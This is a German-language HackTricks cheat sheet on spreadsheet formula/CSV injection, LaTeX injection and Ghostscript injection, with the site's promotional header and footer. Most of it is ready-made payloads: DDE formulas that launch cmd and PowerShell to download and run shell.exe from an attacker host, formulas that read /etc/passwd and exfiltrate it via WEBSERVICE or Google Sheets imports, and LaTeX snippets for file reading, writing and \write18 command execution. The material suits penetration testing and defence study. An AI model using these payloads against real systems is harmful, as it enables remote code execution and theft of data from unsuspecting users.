# Formel/CSV/Doc/LaTeX/GhostScript Injection
Erlernen Sie AWS-Hacking von Null auf Heldenniveau mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formel-Injection
### Info
Wenn Ihr **Eingabe** in **CSV-Dateien** (oder einer anderen Datei, die wahrscheinlich von **Excel** geöffnet wird) **reflektiert** wird, können Sie möglicherweise Excel-**Formeln** einfügen, die ausgeführt werden, wenn der Benutzer die Datei **öffnet** oder wenn der Benutzer auf einen Link in der Excel-Tabelle **klickt**.
{% hint style="danger" %}
Heutzutage **warnt Excel** (mehrmals) den **Benutzer, wenn etwas von außerhalb von Excel geladen wird**, um ihn vor bösartigen Aktionen zu schützen. Daher muss besonderer Aufwand bei der Social Engineering auf das endgültige Payload angewendet werden.
{% endhint %}
### [Wortliste](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**Das folgende Beispiel ist sehr nützlich, um Inhalte aus der endgültigen Excel-Tabelle zu exfiltrieren und Anfragen an beliebige Standorte durchzuführen. Es erfordert jedoch, dass der Benutzer auf den Link klickt (und die Warnhinweise akzeptiert).**
Das folgende Beispiel wurde von [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) übernommen.
Stellen Sie sich vor, dass ein Sicherheitsvorfall in einem Studentenverwaltungssystem durch einen CSV-Injektionsangriff ausgenutzt wird. Die primäre Absicht des Angreifers besteht darin, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode beinhaltet, dass der Angreifer eine bösartige Nutzlast in die Anwendung einschleust, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff entfaltet sich wie folgt:
1. **Injektion der bösartigen Nutzlast:**
* Der Angreifer sendet ein Formular für Schülerdetails ein, enthält jedoch eine in Tabellenkalkulationen häufig verwendete Formel (z. B. `=HYPERLINK("","Hier klicken")`).
* Diese Formel ist darauf ausgelegt, einen Hyperlink zu erstellen, der jedoch auf einen vom Angreifer kontrollierten bösartigen Server zeigt.
2. **Exportieren kompromittierter Daten:**
* Lehrer, die sich der Kompromittierung nicht bewusst sind, verwenden die Funktionalität der Anwendung, um die Daten in eine CSV-Datei zu exportieren.
* Die CSV-Datei enthält beim Öffnen immer noch die bösartige Nutzlast. Diese Nutzlast erscheint als klickbarer Hyperlink in der Tabelle.
3. **Auslösen des Angriffs:**
* Ein Lehrer klickt auf den Hyperlink und glaubt, dass es sich um einen legitimen Teil der Schülerdetails handelt.
* Beim Klicken werden sensible Daten (potenziell einschließlich Details aus der Tabelle oder dem Computer des Lehrers) an den Server des Angreifers übertragen.
4. **Protokollierung der Daten:**
* Der Server des Angreifers empfängt und protokolliert die sensiblen Daten, die vom Computer des Lehrers gesendet wurden.
* Der Angreifer kann diese Daten dann für verschiedene bösartige Zwecke verwenden und so die Privatsphäre und Sicherheit der Schüler und der Institution weiter kompromittieren.
### RCE
**Überprüfen Sie den** [**Originalbeitrag**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **für weitere Details.**
In bestimmten Konfigurationen oder älteren Versionen von Excel kann eine Funktion namens Dynamischer Datenaustausch (DDE) ausgenutzt werden, um beliebige Befehle auszuführen. Um dies zu nutzen, müssen die folgenden Einstellungen aktiviert sein:
* Navigieren Sie zu Datei → Optionen → Vertrauensstellungscenter → Einstellungen für das Vertrauensstellungscenter → Externe Inhalte und aktivieren Sie **Dynamisches Datenaustausch-Serverstart**.
Wenn eine Tabelle mit der bösartigen Nutzlast geöffnet wird (und wenn der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Um beispielsweise die Taschenrechneranwendung zu starten, wäre die Nutzlast:
```markdown
`=cmd|' /C calc'!xxx`
```
Zusätzliche Befehle können ebenfalls ausgeführt werden, wie z.B. das Herunterladen und Ausführen einer Datei mit PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Lokale Dateieinschleusung (LFI) in LibreOffice Calc
LibreOffice Calc kann verwendet werden, um lokale Dateien zu lesen und Daten zu exfiltrieren. Hier sind einige Methoden:
* Lesen der ersten Zeile aus der lokalen `/etc/passwd`-Datei: `='file:///etc/passwd'#$passwd.A1`
* Exfiltration der gelesenen Daten an einen vom Angreifer kontrollierten Server: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltration von mehr als einer Zeile: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS-Exfiltration (Senden von gelesenen Daten als DNS-Anfragen an einen vom Angreifer kontrollierten DNS-Server): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
### Google Sheets für Out-of-Band (OOB) Datenexfiltration
Google Sheets bietet Funktionen, die für die OOB-Datenexfiltration ausgenutzt werden können:
* **CONCATENATE**: Hängt Zeichenfolgen zusammen - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importiert Daten aus strukturierten Datentypen - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importiert RSS- oder ATOM-Feeds - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importiert Daten aus HTML-Tabellen oder Listen - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importiert einen Zellenbereich aus einem anderen Tabellenblatt - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Fügt ein Bild in eine Zelle ein - `=IMAGE("https:///images/srpr/logo3w.png")`
## LaTeX-Injektion
Normalerweise verwenden die Server, die im Internet zu finden sind und **LaTeX-Code in PDF umwandeln**, **`pdflatex`**.\
Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen zu (de)aktivieren:
* **`--no-shell-escape`**: Deaktiviert die `\write18{Befehl}`-Konstruktion, auch wenn sie in der texmf.cnf-Datei aktiviert ist.
* **`--shell-restricted`**: Gleich wie `--shell-escape`, aber auf einen 'sicheren' Satz von vordefinierten \*\*Befehlen beschränkt (\*\*In Ubuntu 16.04 ist die Liste in `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: Aktiviert die `\write18{Befehl}`-Konstruktion. Der Befehl kann jeder Shell-Befehl sein. Diese Konstruktion ist normalerweise aus Sicherheitsgründen deaktiviert.
Es gibt jedoch andere Möglichkeiten, Befehle auszuführen, daher ist es sehr wichtig, `--shell-restricted` zu verwenden, um RCE zu vermeiden.
### Datei lesen
Möglicherweise müssen Sie die Injektion mit Wrappern wie \[ oder $ anpassen.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Einzeilige Datei lesen
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Mehrzeilige Datei lesen
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Datei schreiben
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Befehlsausführung
Die Eingabe des Befehls wird auf stdin umgeleitet, verwenden Sie eine temporäre Datei, um sie zu erhalten.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Wenn Sie einen LaTex-Fehler erhalten, sollten Sie in Betracht ziehen, base64 zu verwenden, um das Ergebnis ohne ungültige Zeichen zu erhalten.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting
Von [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript-Injektion
**Überprüfen** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referenzen
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Lernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.